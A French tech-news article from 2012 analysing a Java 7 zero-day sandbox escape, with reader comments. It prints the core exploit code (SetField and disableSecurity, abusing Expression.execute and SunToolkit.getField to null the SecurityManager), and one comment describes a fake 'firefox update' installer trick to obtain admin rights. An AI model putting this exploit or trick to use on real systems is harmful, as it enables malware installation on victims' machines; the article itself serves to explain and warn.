Developpez.com

Le Club des Développeurs et IT Pro

Le nouvel exploit zero-day de Java 7 décortiqué

Il permet de désactiver le sandbox avec une facilité déconcertante

Le 2012-08-29 19:08:07, par tarikbenmerar, Chroniqueur Actualités
Le grave exploit 0Day révélé au grand jour ce week-end (lire ci-devant) fait l'objet d'analyses approfondies de la part d'experts en sécurité.

L'analyse de Michael Schierl, traqueur récidiviste de vulnérabilités Java, met l'index sur une faille de sécurité dans l'implémentation de la méthode .execute() de la classe Expression. L'exploit n'utilise en aucun cas du bytecode, il n'est, en somme, pas très sophistiqué, mais reste difficile à détecter.

L'exploit utilise la classe sun.awt.SunToolkit pour désactiver le SecurityManager et par conséquent le sandbox de Java. Il ouvre ainsi le champ vers une liberté totale sur le système.

Pour mieux comprendre, il faut savoir que cette classe propose une méthode nommée getField(), qui donne accès, en lecture et écriture, aux attributs privés d'autres classes.

En principe, un code ne peut accéder à ces attributs, mais la nouvelle méthode .execute() de la classe Expression introduite dans Java 7 souffre d'un bug, qui expose dangereusement la méthode getField(). Dès lors, un code pareil peut faire des ravages :

Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
private void SetField(Class paramClass, 
                      String paramString,
                      Object paramObject1, 
                      Object paramObject2) throws Throwable
{ 
  Object arrayOfObject  = new Object[2]; 
  arrayOfObject[0] = paramClass;
  arrayOfObject[1] = paramString;
  Expression localExpression = new Expression(GetClass("sun.awt.SunToolkit"),
                                                  "getField", arrayOfObject);
  localExpression.execute();
  ((Field)localExpression.getValue()).set(paramObject1, paramObject2);
}

À partir de ce bout de code, on peut désactiver le sandbox en appelant System.setSecurityManager(null). Pour cela, l'exploit crée un objet Statement pour appeler cette méthode.

Néanmoins, un appel direct n'est pas permis, et sera considéré comme non sûr.
Pour contourner cette restriction, un objet AccessControlContext est créé en premier qui représente en fait une classe démarrée à partir du disque dur local, et bénéficie ainsi de tous les droits d'accès.

Code :
1
2
3
4
5
6
7
8
9
10
11
12
13
public void disableSecurity() 
    throws Throwable 
{ 
  Statement localStatement = new Statement(System.class, "setSecurityManager", new Object[1]); 
  Permissions localPermissions = new Permissions(); 
  localPermissions.add(new AllPermission()); 
  ProtectionDomain localProtectionDomain = new ProtectionDomain( 
    new CodeSource(new URL("file:///"), new Certificate[0]), localPermissions); 
  AccessControlContext localAccessControlContext = 
    new AccessControlContext(new ProtectionDomain{localProtectionDomain}); 
  SetField(Statement.class, "acc", localStatement, localAccessControlContext); 
  localStatement.execute(); 
}
Oracle n'a pas encore annoncé la sortie d'un correctif. Java 7 Update 6 est la dernière version téléchargeable. Toutes les mises à jour de Java 7 souffrent de cette même vulnérabilité.

Ainsi, on préconise de carrément désactiver le plug-in Java du navigateur, sous peine, d'ouvrir une brèche que des malwares n'hésiteront pas à exploiter.

Source : le code de l'exploit

Et vous ?

Oracle réagira-t-il assez vite pour éviter une catastrophe virale ?
Quel est le vrai potentiel d'un tel exploit ?
Les IDS et les antivirus seront-ils suffisants ?
  Discussion forum
89 commentaires
  • tchize_
    Expert éminent sénior
    Envoyé par Freem

    Problèmes de jeunesse peut-être (je ne sais pas quand il est sorti?)...
    Il y a un an, 2 mois et 19 jours
  • Awakening
    Membre régulier
    Envoyé par andry.aime
    Mais Kevin pense que les nouvelles versions apportent plus de sécurité et de gadget, et plouf
    Mais Kévin n'aurait pas forcément tort, il y a des chances qu'une mise à jour répare certaines failles/bug.

    Et de toute façon le tort n'est pas censé venir de l'utilisateur lambda qui n'est pas censé savoir que Java (ou Flash) est réputé pour avoir quelques failles.
  • tchize_
    Expert éminent sénior
    Envoyé par Elendhil
    Je ne suis pas un expert mais pour moi oui évidement , si tu es sous vista, seven, windows 8 avec l'UAC d'activé le programme ne pourra pas faire beaucoup de mal ...
    Mouais, chez l'utilisateur lambda, tu en profite pour déposer un paquet MSI (ça pas besoin de l'UAC) que t'appelle firefox update et qui attends gentillement que tu ferme ton firefox pour ensuite demander les droits à l'UAC.

    Et hop, un joli "firefox update veux modifier votre machine".

    Combien vont cliquer non?
  • thelvin
    Modérateur
    Envoyé par Gugelhupf
    Des fois je suis surpris de lire des articles comme celui-ci, je me dis que nous sommes peut-être quelques milliers d'informaticiens à lire ces infos et qu'il doit y avoir des centaines de milliers d'autres personnes qui n'en seront jamais au courant et qui seront peut-être affectés.
    C'est pour ça que Firefox se permet de désactiver des plugins de temps en temps, en demandant à peine l'avis de la personne mal informée. On peut en dire ce qu'on veut en terme de comportement politique, en attendant c'est une sécurité accessible à tout le monde.

    Envoyé par Gugelhupf
    Pour moi JavaScript n'est pas un langage très au point, mais je pense que les gens préfèrent rester avec cela et utiliser des frameworks cache-misère (qui avouons le sont très pratiques pour développer) que d'apprendre un énième nouveau langage.
    Spas un nouveau langage à apprendre, s't'un nouveau langage à adapter, sécuriser, accélérer, intégrer, déployer. Pas la même chose.
  • dragon-noir
    Membre à l'essai
    bonsoir ,
    java7 update 7

    dispo sur http://java.com/fr/download/manual.jsp

    ne sait pas s'il elle comble la faille de sécurité silence radio pour l'instant

    http://www.oracle.com/technetwork/ja...ads/index.html

    Mise à jour Java SE 7 7 Paru
    Cette mise à jour corrige des vulnérabilités de sécurité récentes. Oracle recommande vivement à tous les utilisateurs de Java SE 7 jour vers cette version.
    http://www.oracle.com/technetwork/ja...iew/index.html
  • Crazyfaboo
    Membre actif
    Oracle n'a cependant pas communiqué sur la faille de sécurité en question. Il serait très surprenant que cette mise à jour hors planning et post-"scandale" ne corrige pas la faille. Cela dit, quelques tests s'avèrent tout de même nécessaire. D'autant plus qu'ils ont peut-être créé d'autres failles en la corrigeant (sûrement à la va-vite)...
    Bien qu'Oracle ait publié une MAJ, mais pas bien qu'ils ne communiquent pas sur la faille en particulier.
  • Uther
    Expert éminent sénior
    Et pas que sur internet.
    C'est bien connu que le système le plus sur jamais réalisé c'est : http://www.bernardbelanger.com/compu...NaDa/index.php
  • Freem
    Membre émérite
    Envoyé par Philippe Bastiani
    et, pourtant, la presse du moment ne conseille pas de désactiver leur player ! Vas savoir pourquoi !
    Peut-être parce qu'il y a vachement plus de sites qui utilisent flash?
    Genre, par exemple, les sites des streaming. Les sites de jeux, aussi.

    D'ailleurs, le jour où ce sera possible de se passer de flash, rassures-toi, je pense que nombreux seront ceux qui le feront... notamment sous linux ou ce truc à une stabilité douteuse.
  • tchize_
    Expert éminent sénior
    Envoyé par JoeChip
    Nan mais bon, si une seule faille dans un seul sous-sytème met en cause la sécurité de tout votre système, c'est qu'il n'est tout simplement pas sécurisé, quoi. Un peu comme un bateau qui coulerait dès qu'il pleut...
    Tu veux dire comme un bateau qui coulerais dès qu'il y aurait un trou dans le sous-système "coque immergée" ?

    Mauvaise nouvelle, c'est ce que font la plupart des petits bateaux
  • tchize_
    Expert éminent sénior
    Envoyé par devyan
    Quoi nous ne sommes pas des DIEUX infaillibles ?!?
    Non, mais l'important, c'est que nos boss le croient